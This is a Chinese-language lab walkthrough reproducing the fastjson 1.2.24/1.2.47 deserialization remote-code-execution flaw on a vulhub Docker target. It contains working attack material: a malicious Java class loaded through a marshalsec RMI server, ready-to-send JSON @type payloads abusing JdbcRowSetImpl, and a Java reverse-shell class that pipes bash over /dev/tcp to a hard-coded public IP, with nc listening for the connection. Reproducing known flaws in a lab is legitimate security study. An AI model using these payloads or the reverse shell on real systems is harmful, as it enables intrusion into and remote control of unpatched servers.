攻击机C:Windows 10 企业版 LTSC
靶机A:CentOS8 (公网)
监听主机B:Centos7(公网)
项目地址:
https://github.com/vulhub/vulhub
该篇复现环境是fastjson1.2.47,复现手法同时适用于fastjson1.2.24,payload已在下文提供
在靶机A上安装docker
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
yum install docker-ce
systemctl start docker
更换镜像源
vi /etc/docker/daemon.json
修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取
{
"registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]
}
保存退出之后,重新加载配置,重启docker
systemctl daemon-reload
systemctl restart docker
摘取镜像
docker pull busybox
成功打印出"hello world"说明配置成功
docker run busybox echo “hello world”
到此docker配置完成
接下来部署实验环境
项目地址
https://github.com/vulhub/vulhub
下载后上传至靶机A任意目录,进入目录
vulhub-master/fastjson/1.2.47-rce
启动docker编译
docker-compose up -d
PS
很多人pip装不上,这里的方法亲测有效;
yum install -y python38
wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
pip -version
pip install docker-compose
在监听主机B上安装Tomcat,远程加载恶意类。
拉取docker镜像
docker pull rightctrl/tomcat
映射到服务器8080端口
docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
访问http://ip:8080
把编译好的恶意类拷贝进docker环境,具体路径进入docker查找
docker cp TouchFile.class tomcat:/opt/tomcat/webapps/
TouchFie.class的java源码如下:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
上传成功后确认可以访问TouchFile.class
继续在监听主机B上使用marshalsec快速开启rmi或ldap服务
marshalsec项目地址
https://github.com/mbechler/marshalsec
使用maven编译jar包
mvn clean package -DskipTests
进入target目录,并开启rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类的IP:8080/#TouchFile 8088
攻击机C上直接访问搭好的漏洞环境
payload
//1.2.24以下版本
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:8088/TouchFile",
"autoCommit":true
}
}
//1.2.47以下版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:8088/TouchFile",
"autoCommit":true
}
}
发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class
可以看到已经成功执行touch /tmp/success
同理可反弹shell
反弹shell文件(除了远程加载的恶意类不同,其他操作均相同)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/175.24.81.132/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
在监听主机B上同时用NC监听端口
成功拿shell